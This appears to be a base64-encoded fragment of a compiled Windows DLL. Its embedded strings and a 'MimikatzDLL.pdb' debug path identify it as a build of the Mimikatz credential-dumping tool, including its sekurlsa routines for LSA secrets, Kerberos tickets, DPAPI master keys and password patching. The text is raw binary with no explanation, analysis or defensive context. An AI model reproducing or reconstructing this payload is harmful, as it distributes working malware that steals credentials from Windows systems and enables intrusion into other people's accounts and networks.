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AGEAIABjAG8AcAB5ACAAQAAgACUAcAAAAAAACgAgACAAIABcAF8AIAAlAHMAIAAAAAAALQA+ACAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZQBuAHUAbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYQBsAGwAYgBhAGMAawBfAHAAdABoACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACAAIAAgAFwAXwAgACoAUABhAHMAcwB3AG8AcgBkACAAcgBlAHAAbABhAGMAZQAgAC0APgAgAAAAAAAAAAAAbgB1AGwAbAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawBlAHIAYgBlAHIAbwBzAF8AZQBuAHUAbQBfAHQAaQBjAGsAZQB0AHMAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAKAAkAIAAgACAATABTAEEAIABTAGUAcwBzAGkAbwBuACAASwBlAHkAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAAAAAAAFsAJQB4ADsAJQB4AF0ALQAlADEAdQAtACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAAFsAJQB4ADsAJQB4AF0ALQAlADEAdQAtACUAdQAtACUAMAA4AHgALgAlAHMAAAAAAGwAaQB2AGUAcwBzAHAALgBkAGwAbAAAAENyZWRlbnRpYWxLZXlzAABQcmltYXJ5AAoACQAgAFsAJQAwADgAeABdACAAJQBaAAAAAAAAAAAAZABhAHQAYQAgAGMAbwBwAHkAIABAACAAJQBwACAAOgAgAAAAAAAAAE8ASwAgACEAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAG0AcwB2AF8AZQBuAHUAbQBfAGMAcgBlAGQAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHQAaAAg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EAYAEGQRABCyCcAHcAZQGR4IAA+SC+AJ0AfABXAEYANQAjDoZwIASAAAAAENBgANNAoADTIJwAdwBmAZJQoAFlQRABY0EAAWchLwENAOwAxwC2DoZwIAMAAAABkoCgAaNBsAGvIQ8A7gDNAKwAhwB2AGUOhnAgBwAAAAARUIABV0CAAVZAcAFTQGABUyEcARDwQADzQGAA8yC3CkpQIAAQAAAN5mAwDqZgMAa3sDAAAAAAABEggAElQKABI0CAASMg7ADHALYAEEAQAEggAAAR0MAB10CwAdZAoAHVQJAB00CAAdMhnwF9AVwAEcCQAcohXwE+AR0A/ADXAMYAswClAAABEbCgAbZAwAGzQLABsyF/AV4BPQEcAPcKSlAgABAAAAFHMDAEZzAwCFewMAAAAAAAEEAQAEwgAAAQYCAAaSAjABCQEACeIAAAEYAQAYogAAARcBABeiAAABGgIAGgEVAAENAwANAUAABnAAAAEUBwAUNBwAFAEYAAhwB2AGUAAAASAKACA0DgAgUhnwF+AV0BPAEXAQYA9QAQwEAAw0CAAMUghwASAMACBkDwAgVA0AIDQMACBSHPAa4BjQFsAUcAEPBgAPZAcADzQGAA8yC3ABCgQACjQHAAoyBnABHAwAHGQQABxUDwAcNA4AHHIY8BbgFNASwBBwAR0MAB10DwAdZA4AHVQNAB00DAAdchngF9AVwAEcDAAcZAwAHFQLABw0CgAcMhjwFuAU0BLAEHABEQYAETQNABFyDXAMYAtQARsLABtkIAAbVB8AGzQeABsBGgAU4BLQEHAAAAEUCAAUZAgAFFQHABQ0BgAUMhBwARkDABlCFXAUMAAAARAGABBkCQAQNAgAEFIMcAEKBAAKNAwACpIGcAEgDAAgZBMAIFQSACA0EQAgkhzwGuAY0BbAFHABEggAElQPABI0DAAScg7ADHALYAEFAgAFNAEAARQKABQ0DQAUMhDwDuAM0ArACHAHYAZQAQgCAAhyBDABBgIABlICMAEUBgAUNA0AFFINcAxgC1ABGAYAGGQHABg0BgAYMhRwARYKABZUDAAWNAoAFjIS4BDQDsAMcAtgASAMACBkDQAgVAwAIDQLACAyHPAa4BjQFsAUcAEYCgAYZBIAGFQRABg0EAAYshTQEsAQcAENBAANNAoADXIGUAEQBAAQNBIAEPIGUAESCAASVAsAEjQKABJSDsAMcAtgAQYCAAbSAjABBgIABnICMAEPBgAPZA0ADzQMAA+SC3ABGwoAG2QWABtUFQAbNBQAG/IU0BLAEHABEAYAEGQLABA0CgAQcgxwARUIABVkDQAVNAsAFVIOwAxwC1ABIAsAIDQdACABFAAU8BLgENAOwAxwC2AKUAAAAQ8GAA80DAAPcghwB2AGUAEZCAAZZAgAGVQHABk0BgAZMhVwARMEABM0BgATMg9wAQ0EAA00EAAN0gZQAQsGAAtSB8AFcARgA1ACMAEsDQAsxFVALHRUQCxkU0AsNFJALAFOQBjgFtAUUAAAARQIABRkCQAUVAcAFDQGABQyEHABEggAElQQABI0DwASkg7ADHALYAEWCgAWNA4AFlIS8BDgDtAMwApwCWAIUAEUCAAUZAkAFFQIABQ0BwAUMhBwAQcCAAcBSQABHQwAHXQLAB1kCgAdVAkAHTQIAB0yGeAX0BXAASMNACPEHQAjdBwAI2QbACM0GgAjARYAGOAW0BRQAAAJEwYAEzQSABPSD8ANcAxgpKUCAAEAAACrpwAAE6kAAJ57AwATqQAACQwEAAw0DgAMsghwpKUCAAEAAAB9pgAAJ6cAAJ57AwAnpwAACR8JAB9kHAAfARYAGPAW4BTQEsAQcAAApKUCAAEAAABdowAA8qUAAJ57AwDypQAAARkKABl0CwAZZAoAGVQJABk0CAAZUhXAARUIABV0CQAVZAcAFVQGABUyEcABDAQADDQLAAxyCHABGAoAGGQOABhUDQAYNAwAGHIU0BLAEHABEAYAEGQOABA0DQAQkgxwASMNACN0IgAjZCEAIzQgACMBGgAY8BbgFNASwBBQAAABDwYAD1QJAA80CAAPUgtgASQKACQ0FAAkkh3wG+AZ0BfAFXAUYBNQARwMABxkFQAcVBMAHDQSAByyGPAW4BTQEsAQcAEfDAAfdBcAH2QVAB80FAAf0hjwFuAU0BLAEFABHwsAH3QyAB9kMQAfNDAAHwEsABTgEtAQUAAAAR0MAB10DQAdZAwAHVQLAB00CgAdUhngF9AVwAEdDAAddA8AHWQOAB1UDQAdNAwAHXIZ8BfgFdABFwYAF2QLABc0CgAXchNwAQoEAAo0CgAKcgZwARUIABVkEwAVNBAAFbIOwAxwC1ABEQYAEfIHwAVwBGADMAJQARwLABw0IQAcARgAEPAO4AzQCsAIcAdgBlAAAAEJAgAJkgJQARcIABdUCwAXNAoAF1ITwBFwEGABDAQADDQQAAzSCHABGAgAGGQVABg0FAAY8g7ADHALUAEkCQAkdCEAJGQgACQ0HgAkARwAGVAAAAEfDAAfxBUAH3QUAB9kEwAfNBIAH9IY4BbQFFABIw0AI3QgACNkHwAjNB4AIwEYABjwFuAU0BLAEFAAAAEjCwAjxCAAI3QfACM0HgAjARoAGOAW0BRQAAABGQoAGWQTABk0EgAZshLgENAOwAxwC1ABFwkAF2QXABdUFQAXNBQAFwESABBwAAABIgwAIsQXACJ0FgAiZBUAIjQUACLyGOAW0BRQARcIABd0EQAXZA8AFzQOABeyEFABIgoAIgElABbwFOAS0BDADnANYAwwC1ABGQgAGXIV4BPQEcAPcA5gDVAMMAEPBgAPZAwADzQLAA9yC3ABDgIADjIKMAEcCwAcNBoAHAESABDwDuAM0ArACHAHYAZQAAABEwgAE1QQABM0DgATkg/ADXAMYAEgDAAgZA8AIFQOACA0DAAgUhzwGuAY0BbAFHABFAYAFDQRABSyDXAMYAtQASIKACJ0CwAiZAoAIlQJACI0CAAiUh7AAR8MAB90FgAfZBUAHzQUAB/SGPAW4BTQEsAQUAEZCgAZdBEAGWQQABlUDwAZNA4AGbIVwAEYCAAYZBYAGDQVABjyDsAMcAtQAQ8GAA9UCQAPNAgAD1ILcAEIAgAIkgQwASELACE0JAAhARwAFfAT4BHQD8ANcAxgC1AAAAEYBwAYNBoAGAEWAAxwC2AKUAAAARcJABdkGgAXVBkAFzQYABcBFgAQcAAAARsJABt0IgAbZCEAGzQgABsBHgAQUAAAARwKABxkGAAcNBcAHPIS4BDQDsAMcAtQARUIABVkDgAVNA0AFXIOwAxwC1ABIw0AI8QZACN0GAAjZBcAIzQWACMBEgAY4BbQFFAAAAEaCgAaNBgAGvIQ8A7gDNAKwAhwB2AGUAETCAATNBQAE9IM0ArACHAHYAZQASELACE0KAAhAR4AFfAT4BHQD8ANcAxgC1AAAAEZCgAZNBAAGVIV8BPgEdAPwA1wDGALUAEVCAAVZA0AFTQKABVSDsAMcAtQAR8MAB90FwAfZBYAHzQVAB/SGPAW4BTQEsAQUAEfCwAfdBoAH2QZAB80GAAfARQAFOASwBBQAAABFQgAFWQNABU0DAAVcg7ADHALUAEaCgAaZBEAGjQQABqSE+AR0A/ADXAMUAESBgASdAkAEjQIABJSC1ABDgQADjQHAA4yCnABFgYAFmQLABY0CgAWUhJwARMIABM0DwATUgzgCsAIcAdgBlABGgkAGmQZABo0GAAaARQADsAMcAtQAAABGQoAGWQVABk0FAAZ0hLgENAOwAxwC1ABFAcAFDQqABQBJgAIcAdgBlAAAAESCAASVA4AEjQNABJyDsAMcAtgARkKABk0DwAZMhXwE+AR0A/ADXAMYAtQARcIABd0DwAXZA4AFzQNABeSEFABDAQADDQMAAySCHABIw0AI3QhACNkIAAjNB8AIwEYABjwFuAU0BLAEFAAAAEbCQAbdBgAG2QXABs0FgAbARQAEFAAAAEeCwAeZBkAHjQYAB4BEgAS4BDQDsAMcAtQAAABJAsAJDREACQBOgAV8BPgEdAPwA1wDGALUAAAAR0GAB00EwAdshZwFWAUUAEZCgAZNBYAGdIV8BPgEdAPwA1wDGALUAEkCgAkNBkAJNId8BvgGdAXwBVwFGATUAEEAQAE4gAAARsKABvEEwAbdBIAG2QRABs0EAAb0hRQARUIABVkFAAVNBMAFdIO0AxwC1ABDwMADwEUAARQAAABEwgAE2QOABM0DQATcg/QDcALcAEVCAAVZBQAFTQTABXSDsAMcAtQARIGABJ0EgASNBEAEtILUAEcCwAcNDAAHAEoABDwDuAM0ArACHAHYAZQAAABEgYAEnQPABI0DgASsgtQCRoLABpkSwAaNEoAGgFEABPwEeAP0A3AC3AAAKSlAgABAAAAmZwBAOCdAQCeewMA4J0BAAEfCwAfdCAAH2QfAB80HgAfARoAFNASwBBQAAABHAoAHDQWABzSFfAT4BHQD8ANcAxgC1ABEggAEnIL8AnQB8AFcARgAzACUAEYCgAYZAwAGFQLABg0CgAYUhTQEsAQcAEUCAAUZAsAFFQKABQ0CQAUUhBwARkKABlkEgAZNBEAGZIS4BDQDsAMcAtQAR4KAB50FwAeZBYAHjQVAB7yFOAS0BBQAR4KAB40FQAeshrwGOAW0BTAEnARYBBQASIJACLiG/AZ4BfQFcATcBJgETAQUAAAARAGABBkDwAQNA4AELIMcAEjDAAjZBkAI1QYACM0FgAj8hzwGuAY0BbAFHABIAgAIPIZ4BfQFcATcBJgEVAQMAEYCgAYZBQAGFQTABg0EgAY0hTQEsAQcAEbCQAbdBYAG2QVABs0FAAbARIAEFAAAAEaCQAaZCAAGjQfABoBGgAOwAxwC1AAAAEXCgAXNBEAF3IQ8A7gDNAKwAhwB2AGUAESBQASNC4AEgEsAAZQAAABFAcAFDQaABQBFgAIcAdgBlAAAAEeCwAeZB8AHjQeAB4BGAAS4BDQDsAMcAtQAAABEgUAEnQUABIBEgAGUAAAAR8LAB90JwAfZCYAHwEgABPwEeAP0A3AC1AAAAEjDQAjdCcAI2QmACM0JAAjAR4AGPAW4BTQEsAQUAAAARIGABI0FAAS8ghwB2AGUAEaCQAaZCkAGjQoABoBJAAOwAxwC1AAAAEnDQAndCoAJ2QpACc0KAAnASIAHPAa4BjQFsAUUAAAASkLACk0JAApARwAHvAc4BrQGMAWcBVgFFAAAAEZCgAZZBMAGTQSABmyEvAQ4A7QDHALUAEbCQAbdB4AG2QdABs0HAAbARoAEFAAAAEYCQAYNBwAGAEWAAzgCtAIcAdgBlAAAAETCAATNAwAE1IM4ArACHAHYAZQASEKACE0EwAhkhrwGOAW0BTAEnARYBBQASYNACZ0TgAmZE0AJjRMACYBRgAY8BbgFNASwBBQAAABIQoAIQEpABXwE+AR0A/ADXAMYAswClABIQoAIQEXABXwE+AR0A/ADXAMYAswClABHQoAHQEZABHwD+AN0AvACXAIYAcwBlABJAoAJDQYACTyGvAY4BbQFMAScBFgEFABHgsAHmQmAB40JAAeAR4AEuAQ0A7ADHALUAAAARkKABnEEwAZdBIAGWQRABk0EAAZ0hXQARMGABN0EQATNBAAE9IMUAESBQASNCoAEgEoAAZQAAABFwcAF3QdABc0HAAXARoAC1AAAAEXBwAXdCcAFzQmABcBJAALUAAAASAKACA0FgAgshnwF+AV0BPAEXAQYA9QAR4KAB7EFQAedBQAHmQTAB40EgAe8hRQAQQBAARCAAABHwsAH3QeAB9kHQAfNBwAHwEYABTQEsAQUAAAARwLABw0LgAcASYAEPAO4AzQCsAIcAdgBlAAAAEKBAAKNAgAClIGcAEoCwAoNCEAKAEWAB3wG+AZ0BfAFXAUYBNQAAABEwYAEzQUABPyCcAHYAZQAR8MAB/EEwAfdBIAH2QRAB80EAAfshjgFtAUUAEHAQAHYgAAAQ8GAA80EgAP0ghwB2AGUAEPBgAPNBAAD7IIcAdgBlABHAsAHDQgABwBGAAQ8A7gDNAKwAhwB2AGUAAAAQwGAAw0EAAMsghwB2AGUAEYCQAYNB4AGAEYAAzQCsAIcAdgBlAAAAEeCwAeZDUAHjQ0AB4BLgAS8BDQDsAMcAtQAAABGwkAG3QrABtkKQAbNCgAGwEmABBQAAABHwsAHzRoAB8BYAAQ8A7gDNAKwAhwB2AGUAAAAAAAAAAAAACkUgIAAAAAANgaBgAAAAAAAAAAAAAAAAAAAAAAAgAAAPAaBgAYGwYAAAAAAAAAAAAAAAAAAAAAAABABgAAAAAA/////wAAAAAYAAAAiFQCAAAAAAAAAAAAAAAAAAAAAAAoQAYAAAA